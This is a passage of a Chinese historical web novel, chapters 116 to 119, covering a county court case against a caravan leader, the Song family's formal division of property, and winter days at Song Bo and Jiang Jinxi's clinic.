没想着江金熙还会说情话,宋泊抬头起来认真看他,把江金熙都看面红了,江金熙双手抬起遮住宋泊的眼睛,“就这么说定了,我好像听到简言喊我,我去前院看看。”话音落下,他便慌忙地跑了,留着宋泊一人瞧着江金熙的背影笑。 他是江金熙的精神食粮,江金熙又何尝不是他的精神食粮,每日在县学中他都如一颗陀螺般不停转着,只有午时瞧着江金熙时才能放松下来,若是没有江金熙在,这般苦他是定然吃不了的。 第116章 第一百一十六章结束。 领队被带到县衙去的消息被货队其他人带到了主家。 “什么?”古老板听着这个消息,拍桌而起,“是谁那么胆大,敢抓我们的人?” “今天领队惹了宋榜首,捕快们听着宋榜首的话,把领队抓去了。”货队里的队员说道。 榜首两个字出来,古老板也是愣了神,听宋秀才说过他侄儿也中了榜而且是榜首,没曾想这次便遇上了。 不过那又如何,榜首只是榜首,他们的宋秀才还有个当县尉的老丈人呢。 古老板让店里员工看店,他则立即租了辆马车,下到传福镇中,到宋家寻宋申闻。 宋申闻正在自家院中与妻子一道儿赏花,便听着有商户来找他,他眉头一皱,只当又是来寻庇护的商户,便朝侍人说道:“说我不在就是。”他庇护的商户很多,每月他们交上来的银两已经足以他挥霍,便没想着再庇护其他商户。 “是。”侍人应声。 没一会儿,侍人又回来了,他俯身在宋申闻耳边小声道:“是古家服饰的人来了,他说有事找您。” 宋申闻眼中不耐更甚,他小心推开靠在他身上的余夫人,说道:“夫人,有人找我有事,我离开会儿。” 余夫人点了下头,“嗯”了一声。 得余夫人同意后,宋申闻到了正厅,古老板坐在厅中,瞧见宋申闻来了赶忙站起身告状,“宋公子,我家货队的领队被抓进县衙了。” “为何?”宋申闻在主位上坐下,边儿有侍人给他倒了茶。 “今日县上有个百安馆开业,我家领队从那店门儿过,不小心碰着他们祭祀米罐,便被那馆主喊来捕快抓了去。”古老板说道。 “谁这么大胆,一点儿小事就喊来了捕快?”宋申闻提着茶碗盖子,悠悠在茶碗上打转,语气听起来漫不经心。 自成了余县尉的女婿以后,因着自家老丈人的关系,他占了不少便宜,现**验过了官家的特权,有人敢逆着他来,他由心生出一股不悦。 “说来还与您是一家呢。”古老板说。 宋申闻手上动作一顿。 古老板接着往下说:“是您侄子喊人来把我们领队抓去了县衙。” 他的侄子,那不就是宋泊吗? 这宋泊也是厉害,作为小辈竟敢将长辈的人抓进县衙,当真是不把他放在眼中,得了榜首便飞了天,他这次可得好好教训他一下,让他知晓尊老爱幼。 院试上他赢了榜首,权势上他可赢不得他。 宋申闻让侍人去寻他聘下的讼师,这讼师跟他许久,摆平过不少案子。 秀才自己上公堂可是丢面儿,宋申闻自不会亲自上霞县,讼师来后,宋申闻让他跟着古老板一起去趟县里,把案子了结。 一路上,古老板添油加醋说着他们多委屈,讼师倒是一句也没听进去,他只想着要如何达到主家的任务,在县衙上给对方按个罪名。 到了县衙门口,有杂役进院通报,半炷香时间过去,杂役出来,领着讼师和古老板往里头走。 公堂之上,杨知县坐在上位。 讼师和古老板走进公堂,对着杨知县行了一礼。 杨知县垂眸看着堂下,说:“既然都到齐了,那案子就开审了。” “杨知县,对方没人上堂便可开审吗?”古老板问着。 杨知县都懒得与他解释,直接让捕快压着领队上来。 领队一见到自家主子,马上眼中含泪,“主家,你可得救我呀。” 古老板瞪了他一眼,并未应声。 杨知县按着流程,先是听了古老板这侧的辩词,而后才请了三个证人上来,三个证人都是当时在百安馆前看热闹的百姓。 “就是他,百安馆开业开得好好的,他硬要带着牛车往人家店儿前过!” “那牛角都撞着我了。”其中一个证人撩开自己的衣袖,“这儿还有口子呢!” “那么大的道,他非得跟人家挤!” 这证词完全对他们不利,讼师辩解道:“我听闻今日百安馆开业撒了不少赏钱,这些人许是拿了赏钱才昧着良心说话。” “捕快们寻来之人都是没领赏钱的。”杨知县早想到讼师可能会这么说,便让捕快寻来纯看热闹的人,他们与宋泊和领队都没有任何关系,最是中立。 杨知县都这么说,讼师只能找别的法子辩解。 只是无论他再如何巧舌如簧,领队犯了恒国律法都是板上钉钉的事儿,最终杨知县也未说结果如何,只是让讼师和古老板回去,而领队则重新被押回牢中。 这可是个不详的征兆。 十月二日,早上下堂后,宋泊准时到县学门口等江金熙。 江金熙手拎饭盒出现在街道尽头比以往晚了一些,等他走得进了,宋泊才发现他面上含笑,看起来心情很是不错。 宋泊接过江*金熙手中的饭盒,说道:“什么事儿那么高兴?” “县衙的告示贴出来了,上次犯事的人被送去劳改三个月了。”江金熙道。 领队惹事证据确凿,再加上宋泊写的状纸,杨知县直接给他判了罚,只是碍于程序,今日才贴出来。 因着领队本身犯的不是什么大错,故而罚得不重,但到底是罚了,帮街上曾经被欺负过的百姓都出了口恶气。 一路走来,不少人跟江金熙说了谢,感谢他们惩戒了这个恶徒。 “如此也是合情合理了。”宋泊道。 写状纸之时,江金熙就与他说过,寻事滋事并不会罚得很重,最多便是被押去劳改,打板子是不可能的,故而宋泊心里也有个底,对这个结果并不失望。 江金熙瞧了下周围,见守门的两个杂役并未瞧着他们这侧,他轻拉宋泊衣襟,令他微微弯身,而后他在宋泊的耳边抬手遮嘴小声说:“我听说庇佑那个商户的是你的小叔。” “我猜着了。”宋泊用同样小的声量应道,在外头说别人的事儿不太方便,两人就只能用这种蚊子般的声量说事。 这时,宋泊听着有人朝他们这侧儿走来,往后一看是宋申闻来了。 宋申闻面色不佳,身上什么东西也未带,步履匆匆。 县学门外来了辆马车,马车外观比寻常马车华贵一些,像是官家的马车。 宋申闻看到在门口说话的宋泊和江金熙,他眼神冷下去,狠瞪了宋泊一眼,让宋泊觉着有些莫名其妙。 宋申闻从宋泊身边经过,径直上了那辆马车。 估计是宋申闻家中出了什么事,不然他也不会请县学的假,赶在午时就坐马车走。 “他什么眼神呐。”江金熙想起宋申闻的眼神便觉着不舒服,之前在村里他就不喜此人,而后得知他的种种作为以后更是厌恶至极。 “许是他庇护商户,商户却出事的事情被家里知道了。”宋泊猜着。 宋申闻娶了余县尉的女儿,明面上风光无限,但没有背景的人娶了官家之女,身份上被压一头,总是得看着老丈人的面色行事。 宋申闻一个秀才,出了这种事儿,多少会对他的名声有影响,余县尉招他回去也是正常。 “该。”江金熙道,之前也有商户来找他们庇护,但都被他一一拒了,少了这些麻烦事儿。 宋泊抬手捋开江金熙面上落下来的秀发,轻言道:“早上可辛苦了?” “还好,早上只来了三个病人。”江金熙道。 现下有了百安馆,江金熙每日忙得团团转,今日送饭的时间其实是他挤出来的,不过他不会与宋泊说,徒增宋泊的忧虑。 “那就好。”宋泊应道。 见面时间就一刻,两边守门的杂役算着时间准时关门。 宋泊拎着饭到食堂,路砚知还未到,他便先寻了个位子坐下。 若宋申闻当真是因着领队的事儿被余县尉叫了回去,那他应当会心中恨他,不过那又如何呢,宋泊并不惧怕宋申闻,宋申闻敢庇护商户,就得负起相应的责任,不能既要又要。 “宋弟,我来迟了。”路砚知拎着饭盒跑到宋泊面前,他口中喘气,看来是跑得急了。 “无妨,吃饭时间还长,慢慢来就是,何须跑成这样。”宋泊说着,拿起桌上放着的水壶给路砚知倒了杯水。 路砚知在宋泊对面坐下,他猛喝了两口水,将气顺下去以后,才俯身子贴着桌子,说道:“我是有消息想与你说。” “什么消息?”宋泊问,路砚知定是又听着县学中谁的八卦消息,要来与他分享,宋泊也是不明白,路砚知哪儿来的空,总能听着别人家的事儿。 “宋申闻被他的老丈人叫回去了。”路砚知伸手拍了宋泊一下,“没想到百安馆开业那日,你们那儿还出了事呢?” 百安馆开业那日路砚知本是要来的,但因着娘亲非要带他去个什么喜宴,这才错过了宋泊和江金熙的开业仪式。 “就这点儿事啊。”宋泊不爱听八卦,更何况这事儿他已经知道了。 “我瞧着宋申闻还挺生气的,估计这事以后他得回家闹了。”路砚知道,宋申闻被老丈人唤回去定然丢了面子,他可不是那种会忍气吞声的人。 第117章 第一百一十七章分家。 十月三十日,又一次县学休息,宋申闻把宋茶栽请了上来。 茶馆厢房内,熏香渺渺飘起,宋茶栽、宋海雄、宋芸香、宋申闻、宋泊,一人坐在一边,各不说话。明明来到茶馆之中是来喝茶享受的,可众人之间却有种箭弩拔张的紧张感。 最终还是宋茶栽没忍住,她作为一家之长,率先开了口,“说吧,你们今天整这么大的阵仗,连海雄都叫来了,是要做什么?” “大姐,我们请你上来是想谈谈分家的事儿。”宋申闻道。 分家,这可是件大事。 这两个字跟晴天霹雳一般落在宋茶栽的头上,让她觉着有些突然。 宋茶栽确实没想着宋申闻这次叫她上来是要商议分家的事情,自宋申闻娶了余县尉的女儿后,一家人宛若两家人,宋芸香跟宋申闻走得近,与他一道从未回过家,也未找过她,她差点都要忘了自己还有个四妹和五弟。 “可是发生什么,怎么忽然提起分家?”宋茶栽问。 虽说宋家二老已经逝世多年,但二老在天有灵,应该也不想看着宋家四分五裂。 宋泊坐在自己的位置上,双手摩挲着茶盏边儿,宋申闻终于是闹起来了,这一月以来,宋申闻一直没什么动静,宋泊还以为他被余县尉点化了,准备吞下那口气的。 宋海雄用手支着脑袋,坐在桌上昏昏欲睡,脑袋有一下没一下轻点着,瞧着快要被周公拉去环游梦海,连“分家”这两个大字都没让他提起半分精神。 “这就得问问你家好侄子了。”宋芸香道。 既点到自己,宋泊便停了摩挲茶盏的手,他抬起眸子,迎上宋申闻和宋芸香看来的视线,接着他转过头,对宋茶栽说:“不知大姑可还记着百安馆开业时那个闹事的领队?” “自是记得。”宋茶栽道,她那日没出着气,心中自然记得清晰的,后头江金熙让简言回村告诉了她领队被罚的事儿,她心中那口气才算出了。 不过有这么一遭,那人长什么样子她都还记得清清楚楚。 “只是他与我们分家又有何关系?”宋茶栽不解。 县衙顾着宋申闻的面子,贴出来的告示只写了犯事领队的处罚,并未提及他人,简言回到近里村与宋茶栽说这个好消息的时候,也只说了领队的事儿,故而除了一些知情人,其他人都不知那领队是被宋申闻庇护的商户底下的人。 “那人是小叔所庇护商户的人。”宋泊道。 “什么?”宋茶栽惊讶道,她只知道那人有人护着,却不知道护着他的人就是自己的小弟,“你就是庇护那个领队的人?” “你可知他差点毁了宋泊和金熙的开业仪式。”宋茶栽说:“那个领队做了错事被抓进牢中,你难道是因着这种小事要与我们分家?” “是宋泊做得过分。”宋申闻张嘴便是反咬之词,“他不过是往馆前过罢了,就被宋泊喊捕快来抓去县衙之中。” “只是往店前过?”宋茶栽当时就在馆前,究竟发生什么事情她清清楚楚,“宋申闻,没想到你读了书以后,好的不学,颠倒黑白却学了个透彻。” “大姐!你怎的这般说小弟。”宋芸香站了起来,宋芸香未在现场,不知道现场情况究竟如何,她只听了宋申闻的一面之词,自然片面地觉得是宋泊做得太过分了。 “你安静。”宋茶栽睨了宋芸香一眼,继续说着,“那日发生什么事情我再清楚不过。”她定定看着宋申闻,“若按你所说,那人只是从馆前而过,又怎么会被县衙判了罚?宋泊可左右不了杨知县如何定罪。” “谁知道宋泊使了什么手段。”宋芸香在一旁说道。 “只是写了一张状纸而已,使的正规手段。”宋泊回道。 宋泊这个呛声把宋芸香气够呛,她将辈分拉出来说事,“瞧瞧,这就是你的好侄子,都敢反驳长辈的话了。” “大姐,宋泊明知那人由我庇护,却还是公事公办直接带人上了县衙,未私下告知我一声。”宋申闻站起身来,“这般没人情味的家,我可是一刻也待不下去了。” “此言差矣。”宋泊看着宋申闻,“若不是杨知县念着我这个榜首的名头,就小叔家那个巧舌如簧的讼师,可不得把我送到牢里去?” 这些事儿也是江金熙后头才与他说的,江金熙心系案情,正巧杨知县的哥儿犯了病,他去杨府为杨知县的哥儿诊病之时,问了一嘴,杨知县便与他说了此事。 那讼师精通诡辩,如果不是宋泊写来的状纸清晰明了,再加上目击百姓的真实证词,杨知县还真可能被那讼师给说进沟里。 “还有这种事儿?”宋茶栽只知道宋泊写了状纸,其余事儿她一概不知,没想着这么个小案子竟然还有这么多内幕。 “你这是血口喷人,我让讼师上公堂只是想保人而已。”宋申闻道,就算他心中确实如宋泊所说想给他安个罪名,但表面上的话还是得说得亮堂。 “讼师上公堂不是天经地义。”宋芸香指着宋泊,破口大骂,“你个小辈没大没小,一天天只会忤逆长辈,我看你爹根本没教你什么礼义廉耻,也是,一个大丧门星只能教出来一个小丧门星,我瞧着你就跟你那个爹一样,是我们宋家的克星,专门坏我们宋家运来的!” 宋泊站起身来正打算反驳。 啪! 一声清脆的巴掌声响在厢房中,把睡着的宋海雄都吓醒了。 “你竟然为了宋泊打我?”宋芸香捂着脸,不敢置信地看着宋茶栽。 “是你不知好歹。”宋茶栽与宋芸香对立站着,她狠狠看着宋芸香,眼底深处还藏着一丝失望,“说事说到逝者身上,你如何对得起爹娘的在天之灵,如何对得起逝去的宋声茗?”宋茶栽怒极的同时,语气里还带着细微不易察觉的哭腔,“口口声声说着小辈如何如何,你们又何曾当了个长辈的模样?” “一个占了人家的田,一个中了秀才、当了官家女婿便忘了本性。”宋茶栽气得脚步都有几分虚浮,“宋泊开个医馆不容易,是你们找茬!是你们!愧对宋家的列祖列宗!” “不是要分家吗?”宋茶栽一手撑在圆桌上,“好啊,分就分,纸笔拿来,现在就把条例写上!” “分!”宋芸香哪儿受过这般委屈,她趴在桌上哭得凄惨,“爹娘都没打过我,你竟然敢打我。” 宋泊也是头一回见宋茶栽生这么大的气,发这么大的火,他本来想帮着扶住宋茶栽,但被宋茶栽摆手拒了,也是,这种时候由人扶着,士气便落下去。 店小二很快便拿来了纸笔。 由宋申闻执笔,写下分书,宋家二老未留下什么东西,只是一些银钱、首饰需分,真写下来也是简单。 “二哥,你跟哪家?”宋申闻正写着分家的名字,忽而想着宋海雄。 宋海雄作为宋家一员,虽说来了,但一言不发甚至趴在桌上睡大街,倒让宋申闻差点儿把他给忘了。 宋海雄心中门儿清,宋泊可是有榜首之名,现下又开了个医馆,往后的前途定比宋申闻更光明一些,他自然会选择与宋茶栽和宋泊一家。 宋海雄伸了个懒腰,故作不经意道:“迁户籍也是麻烦,我便不动了,懒得挪。” 一刻钟时间,宋申闻便将分书拟好了来,五人约好了明日早晨回近里村一趟,找宋里正做个见证再上传福镇备案,如此流程走过后才算彻底分家。 分书拟好后,宋芸香和宋申闻没有停留,立即就出了厢房,宋海雄喝了几口茶水,也出了厢房,厢房内只留下宋茶栽和宋泊两个人。 房内安静下来,刚刚的嘈杂惘若隔世一般,宋茶栽坐回位置上,双手抬起交握捂着脸,一行清泪自她的面容滑下。 再怎么不如意,终究是一家人,现下这家散了,在她手中散了,等几十年过去,她碰着爹娘可如何与他们交代。 宋泊把椅子挪了个位子,挨着宋茶栽坐下,他抬手顺着宋茶栽的后背,嘴上一句话也未说。 这时的宋茶栽最需要的应当是这种安静的陪伴。 宋茶栽与他不同,他不过一个半途占了人身子的孤魂野鬼,自然对宋家除宋茶栽以外的人没什么感情,但宋茶栽可是货真价实的宋家人,一家人由小到大,想要切断那种血溶于水的纽带可不简单。 可一家分了心,再强迫挨在一起,只会两败俱伤。 大抵过了两刻钟,宋茶栽才一抹眼泪,重新振作起来。 说出去的话就是泼出去的水,既然他们想要分家,那她也没在怕的。 “大姑”宋泊轻唤了一声。 宋茶栽转过头来,两个眼眶红彤彤的像个核桃,她拍了拍宋泊的背,说:“大姑没事,往后咱们一家,大姑一人也能养得起你。” 听着这般话,宋泊心里软得一塌糊涂,他揽住宋茶栽,让宋茶栽靠在他的肩膀上,“我都多大了,还要你养着,你就等着享清福,坐在家里数钱吧。” 宋茶栽听着,又拍了几下宋泊的后背,“好孩子。” 两人依偎着,在厢房内又待了一会儿,这才起身离开。 茶馆里没有镜子,宋茶栽在出门前还特意问了宋泊,“我眼睛如何,可还红着?” 宋泊知道宋茶栽爱面儿,不愿意把自己脆弱的时候展示给别人看,便仔细瞧着宋茶栽的脸,而后答道:“没有红着,没人知道你哭过的。” “那就好。”宋茶栽松了心。 第118章 第一百一十八章想开。 瞧着宋泊和宋茶栽回来了,江金熙立刻迎了上去,“如何?可发生了什么事儿?” “宋申闻要与我们分家。”宋泊道。 “什么?”江金熙惊讶。 此时医馆中只有一个病人,正由吴末看着,江金熙便拉着宋泊和宋茶栽去了后院房中。 “为何忽的要分家?”江金熙问。 宋泊将在茶馆发生的事儿说与江金熙听,江金熙自认自己脾气尚可,可听着宋泊说的话,他的气还是不打一处来,哪儿有人这般,拿自家人当外人对待。 江金熙刚打算开口骂人,忽然想着宋茶栽也在房内,他偷瞄着宋茶栽,瞧她的表情。 江金熙知道宋茶栽重感情,此事对于她来说定是个很大的伤害,他小心斟酌着话语,怕再次伤害到宋茶栽,“宋申闻也真是狠心,这般话也说得出来。” “无事,依着他的话分家就是。”宋茶栽道:“有你们俩在,咱们的生活定然过得不比他们差。” “就是。”江金熙坐在宋茶栽身侧,揽住她,“等明年宋泊成了举人,我们就要上京生活,可不与他们一般见识。” 翌日,宋茶栽特意穿了件昨日与江金熙一块儿去街上买的新衣裳,还让青桥帮她画了个简单的妆容,既然要分家,宋茶栽自然要以自己最好的状态前去,可不能叫宋芸香和宋申闻看扁了来。 宋泊、江金熙和宋茶栽坐上去近里村的马车。 本来宋泊是不想唤上江金熙的,因为这是他们的家事,说来闹心,何必给江金熙添堵,只是江金熙说着他精通恒国律法,没准能帮得上忙,宋泊才将他唤了来。 宋茶栽抚着江金熙的手,说着:“真是麻烦了金熙,明明是我们自个儿的事。” “你们的事儿便是我的事。”江金熙反手牵住宋茶栽,“这哪儿麻烦,一点儿也不。” 阿朝驾驶着马车又稳又快地行到近里村,停到宋里正家门前。 宋里正家门口停了两辆马车,应是另外三人也到了。 宋泊先下了马车,随后将江金熙和宋茶栽牵下马车。 近里村本来就小,这下停了三辆马车,引得周围路过的村民纷纷侧目,有人瞧着宋茶栽,便打招呼道:“宋大夫,今日可是有什么大活动啊?” “没啊,就是找里正有些小事而已。”宋茶栽笑道。 家丑不可外扬,虽说分家的事儿到底会传出去,但能瞒上一时便是一时。 里正屋内,宋海雄、宋芸香和宋申闻已经在了,宋里正一早听着他们要分家还有些愣,他苦口婆心劝着,想着能成为一家人不容易,没什么血海深仇没必要闹到这种地步,直到宋茶栽来了,他才知道这家人是认真的,而且没有转圜的余地。 知道劝也劝不好了,宋里正便只能按着流程办事。 “你们确定要分家?”宋里正问。 “确定。”宋茶栽和宋申闻一同答道。 宋里正叹了口气,“那把分书拿出来吧。” 分书一式六份,各人留一份以外,还得给宋里正一份备案。 江金熙拿过分书一瞧,许是因着宋家家产不多,各人分来倒也公正,除了一些格式上的问题,内容都是对的。 “行了,来签字、按印吧。”宋里正将砚台和毛笔拿出来,“此时后悔还来得及。” 宋申闻并未说话,而是直接从宋里正手中接过毛笔,第一个便在分书上写了名儿。 至此,宋茶栽心底最后一抹微小的希冀也破灭了,她接过笔,在宋芸香之后签下了名儿。 宋泊的父亲宋声茗已经逝世,便由宋泊代替签名。 宋海雄是最后一个签名的,他是宋家文化最低的人,写来的字完全瞧不得是什么。 待墨迹干透,宋里正拿起其中一份文书折起收好,“分了家,可记着按着分书所写分配财物。” 宋家二老留的遗物都放在宋茶栽家中,宋茶栽按着分书所写把财物分了,宋芸香和宋申闻拿了东西头也不回直接便坐着马车走了。 “大姐我走了啊。”宋海雄比他们稍有良心一些,虽然也未久待,但好歹临走前还会与宋茶栽打声招呼。 今日阳光正好,气温不高不低,正是这么个好天气,宋茶栽看着宋家人一个个离开。 刘南民留在家中,瞧着宋茶栽带着宋家人在家里拿二老的东西有些不解,等另外三人都走了以后,他才问着:“他们这是做什么?” “我与他们分了家,从此往后,宋家只有我、宋海雄和宋泊。”宋茶栽坐在房内椅子上说道。 “分的好啊,早就该这么做了。”刘南民与宋茶栽成婚许久,说话虽得顾着宋茶栽的情绪,但不必太过小心翼翼,“可算把那两个白眼狼赶出去了。” 宋申闻要读书,宋茶栽是全力支持,笔墨纸砚都是她出钱,宋芸香只是买了次好纸,便被宋申闻记着,反观宋茶栽的付出,他觉着理所应当。 家中有人生病都来寻宋茶栽,宋茶栽忙上忙下,又熬药又照顾人,把自己累坏不说,却连一句谢都没听着。 刘南民一直在心底默默记着这些事儿,宋茶栽是宋家人,可他不是,见宋茶栽全心付出却吃力不讨好,他只觉着心疼。 瞧着宋茶栽的面儿,刘南民便一直没将这些事儿拎到台面上说,现如今那俩人自己想不开分家去了,他没买两串鞭炮在自家门口放已经算是收敛了。 “你也别太伤心了。”刘南民站在宋茶栽的身旁揽住她的肩膀,“总归我们才是一家人。” 经过两年多,刘南民也是打心底接受了宋泊,与那些白眼狼比起来,宋泊可是好太多了。 “是呀,还有我们呢。”江金熙牵上宋茶栽的手。 宋茶栽的左、右都被人占了去,宋泊没了位置挤,就只能言语上支持,“往后我们相互支持,也不比他们过得差。” 入夜,繁星慢慢挂在空中,宋泊和江金熙没有急着回去。 刘南民说今日是个好日子,要做些好菜请客吃饭,他俩便乖乖等着,还帮忙打了下手。 农村家吃饭没有那么多规矩,阿朝驾车也是辛苦,宋泊便叫他一块儿上桌吃饭。 五个人围在桌边,桌上摆了七菜一汤,因着是临时决定加菜,刘南民还去边儿的邻居家买了些菜。 宋茶栽给大家都倒了酒,她第一个举杯,“今日咱们就放开了吃、喝,把那些糟心事儿都抛到脑后!” 大家应着声,纷纷举杯相碰。 宋茶栽瞧着大家的面儿,也是想开了,确实如刘南民所说,那些人一年也见不着几面,而是桌上之人,每月都能见着,刘南民、宋泊和江金熙才是她的家人。 彻底想明白以后,宋茶栽也不拘泥着过去,她加入大家的谈天说地当中,跟着一块儿笑。 这种家庭聚会无需顾虑,宋泊和江金熙陪着宋茶栽和刘南民聊到深夜,才回了近里村中的家。 家里没有别的地儿能住人,阿朝就只能在宋茶栽家中将就一晚。 本来宋泊和江金熙还想顶着星辰回霞县,但念着时间实在太晚,路上不安全不说,阿朝也有在驾车过程中睡着的风险,如此他们才决定在村中的屋子里歇上一晚。 许久未回来,家中还是干净,宋茶栽每周都会抽些时间帮他们打扫屋子,因着没人住,一周也积不上多少灰,所以每次一刻钟便能完成。 想着明日天未亮就得起床赶回霞县,宋泊和江金熙回到屋内也没再做些别的事儿,宋泊将被单、被褥和枕头从衣柜中拿出来,床一铺好,两人便上床睡觉。 村中清净,连鸟儿都歇息了一般,整个夜里未有一声杂声出现,宋泊和江金熙都睡了个好觉。 县学每月只能休息两日,宋泊不想无故旷课,就只能大老早回霞县,好在他少睡久了,只睡两个时辰起来也不觉着困。 为了赶路,阿朝难得驾马快了一些,宋泊也是体验了一次飞车的感觉,在卯时末赶到了县学。 自分家以后,宋申闻在县学中便没给过宋泊好脸色。 午时宋泊和路砚知在食堂吃饭之时,路砚知问着:“你跟宋申闻可是发生了何事,怎的他说你不是他侄子了?” 宋泊慢条斯理地将口中的肉嚼碎了吞下,而后才简单地回答道:“分家了。” “分、分家了?”路砚知没想着自己随便一问却问出这么大个事儿来,不过他是宋泊的朋友,自然站在宋泊这侧,觉着是宋申闻的错,“别儿个都不愿意将自家的事儿说出来,他倒与众不同,像是要与你撇清关系一样,一有人提到你,他就说你不是他侄子了。” “无所谓。”宋泊道,他来县学是为了读书,别的事都得为读书靠边站,他瞧了眼路砚知,劝着,“离乡试已无一年,你可多留心在读书上,别被别的事扰了心绪。” “我知的。”路砚知欣然点头,无论宋泊说什么,他都会坚决执行,抱好宋泊的大腿,没准明年他也能有些机会一举上榜。 第119章 第一百一十九章休息。 时间如白驹过隙,眨眼便到了十二月。 县学中最长的假期便是春节假,春节前十五日放假,放到春节后十五日,足有一月以上,是县学学子一年苦读来最高兴的日子。 为了给学子们充足的时间整理行囊,十二月十四日下午课程结束后,晚上便是自由活动时间。 有些家远的学子,晚上收拾好了就能回家,故而整个宿舍区吵吵闹闹着,有了些热闹的气氛。 路砚知坐在自己的床上,边收拾东西边跟宋泊说话,“宋弟,假期这么长可要到我家玩玩?” “看看。”宋泊没有直言拒绝,“最近金熙的医馆正是忙的时候,我既要读书又要帮他照看医馆,恐怕不好腾出时间。” 冬季寒冷,一些患有冻疮、关节酸痛的病人增多,被寒气入体感冒、腹痛的人也多了不少,江金熙和吴末两人整天在医馆内转着,江金熙午时给他送饭的时间都缩短了三分之二。 “也是。”路砚知也未强求,虽说他真心希望宋泊能上他家待上一日,但是江金熙的事情对宋泊来说有多重要,他一清二楚,“那你瞧瞧,有了空就带着金熙来,我家随时欢迎。”话音落下,路砚知怕宋泊找不着地儿或者把地名给忘了,他还特意从床上下来找出纸笔,给宋泊画了个简单地图。 宋泊接过路砚知递来的纸条,说:“腾出空来我会去的。” 翌日一早,宋泊便带着行囊从宿舍离开,出门之前他还特意与路砚知交代着,要他回去以后别只顾着玩,要腾出时间来学习。 百安馆离县学不远,不过一刻钟时间便能走到。 霞县比近里村更北一些,这温度降下来,确实有些冻人,宋泊双手插在兜中,瞧着街边有卖冰糖葫芦的,便拿着钱袋出来,买了三根。 阿朝与他相同不乐意吃甜,那三根冰糖葫芦是买给江金熙、青桥和简言的。 宋泊悠悠走到百安馆门前,他跨步进馆,刚想开口说他回来了,便被眼尖的简言拉到一旁,身上的行囊被扯了去,手里抓着的冰糖葫芦也被没收了。 边儿站着的常乐摇着尾巴,双眼亮晶晶地看着宋泊。 简言看了常乐一眼,警告道:“常乐,这个时候主君可不能陪你玩。” “可是出了什么事儿?”宋泊问。 “没什么大事,就是医馆里太忙了,我们有些忙不过来。”简言把从宋泊身上扒下来的东西小心收好,而后道:“郎君叫我盯着门口,说您一回来就让你上工。” 回到家里还未享受个众星捧月,倒先被安排上了工位,宋泊倒也没什么怨言,只让简言领他去江金熙给他安排的工位。 宋泊不会医术,也只识得几味简单的草药,要他做些专业性的活儿也不可能,简言便领着他去了后院厨房,给医馆中留置的患者熬药。 有些病来得急,病人撑不到回家熬药,就得在医馆里躺上一阵,喝了第一副药好些了,才能挪身回家。 宋泊刚进厨房,就被厨房里的烟气熏得咳了好几声,厨房中有三个炉子,每个炉子上都放着个陶罐,烟气自陶罐盖下冒出,三个炉子都熬着药。 今日真是病人太多,简言把宋泊安置在厨房以后,便着急忙慌跑了出去,说是要去隔壁店儿问问有没有闲置的炉子,先借他们用用。 宋泊坐在小木凳上,两条修长的腿委屈地缩着,他手里拿着把蒲扇,专注观察着三个炉子的火苗。 外头很冷,但厨房很热,宋泊里外穿了三件,在厨房里待着都热出汗了,索性他在厨房里待着也无人会来,他便将外袍脱了搁在一旁,少去一件衣裳,宋泊才觉着自己活过来了。 这般忙碌着忙到午时,宋泊瞧见江金熙。 “烧得如何呀?”江金熙双手放在腰后,从宋泊身后探出头来,鬼灵精怪地歪着脑袋看着宋泊。 为了看病利索,也为了不被头发遮着视线,江金熙扎了个高高的马尾,马尾随着江金熙的动作歪下,宋泊抬手拦着马尾,“这儿有火,可别烧了你的头发。” 江金熙拉着自己的头发直起身,站直以后他的头发便没有被烧着的风险,“还有几副要熬?” 宋泊瞅了眼边儿拿来放药包的凳子,凳子上空空如也,他面前炉子中烧得便是最后一副,“只这副就完了。” “那我就等你一起吃饭。”江金熙挪了把凳子过来坐在宋泊身边。 “等我?那他们呢?”宋泊问。 “现在病人太多了,我们得错峰吃饭,现下是青桥和简言在吃,等会儿我出去了,吴师叔就可以去吃饭了。”江金熙道,他看到宋泊额头上的薄汗,从怀中拿出手巾来帮他擦着。 擦汗这个动作免不了皮肤接触,在江金熙指尖碰着宋泊额头皮肤的时候,宋泊只觉被江金熙碰过的地方,都留下了冰凉的触感。 宋泊把蒲扇放到边儿的凳子上,而后把江金熙的手从额头上牵下来,刚刚一点儿的触碰还未有太*明显感觉,现下握在手中那冰凉的感觉才清晰起来,“怎么还这么冷。” 江金熙已经穿了四件衣服,脖子上还围了个围巾,手却还如冰块一般冷。 “许是我刚刚过来时变冷的。”江金熙道。 医馆前院和后院之间的走廊没有顶,人在其中走上一阵就会变冷。 “今年跟往年比起来,好像更冷了一些。”江金熙回牵住宋泊的手,“明明出来前我还抱了手炉,只这么一会儿又冰凉了。” “下次可得把手炉随身带着。”宋泊心疼地揽住江金熙,让他靠在自己身上,好暖和一些,“这双手这般漂亮,可不能被寒风冻了去。” “你自己就是大夫,知晓那些得了冻疮的人有多疼的。”宋泊说,有他暖手,江金熙手上的温度才上来了不少。 “我知道的。”江金熙知道宋泊心疼自己,他脑袋一歪靠在宋泊的肩膀上,声音放柔撒娇道:“下次不管走多远,我都带着手炉,让手时刻暖和着,好不好?” “你这样就算答应我了。”宋泊说:“我可随机检查的,要是又一次被我发现双手冰凉怎么办?” 江金熙双眼亮晶晶地眨着,“那我就任你处置,如何。” 宋泊轻轻捏着江金熙的脸蛋,道:“一言为定。” 医馆从早到晚一直忙着,直到戌时末才熄了前院的灯。 宋泊刚把前院通往后院的门栓拴上,忽而就有一点儿雪花落在他放门栓的手上。 “下雪了?我长这么大还没见过下雪呢。”简言双手抬着,手掌心中出现点点儿雪花,他今年十岁,说明霞县十年以来都没下过雪。 入了冬以后,常乐身上的毛便长厚不少,雪花落在它身上冰冰凉,它甚至还伸了舌头出来接着雪花,尾巴晃悠晃悠摇得飞快。 “是啊,我在传福镇那么久,也没听着这片儿下过雪呢?”吴末瞧着这雪也是觉着神奇。 传福镇在霞县之内,虽说有些地理位置的差异,但传福镇不下雪,霞县大概率也是未下过雪的。 几十年来一直未下过雪的霞县却下了雪,看来江金熙白日的感觉是对的,今年真的比以往几十年都要冷。 宋泊栓好门栓,转过身来把江金熙穿在身上的披风帽子给他戴好,尽管从前院回到卧房不过百步路,可这下了雪气温降下来,几步路也冻人。 回到卧房,宋泊和江金熙立刻猫进被窝中,现下生活不拮据,床上的床具都换上了厚厚的棉被,躺下去又柔软又温暖,足以抵御零下的温度。 “过两日我便打算回京城了。”江金熙说道。 再过十五日便是春节,他在外面待了这么久,要是春节还不回去,可得被爹爹和娘亲骂死。 “怎么不早些回去。”宋泊道。 这入了冬路上难走,早一日回去便是早一分安全。 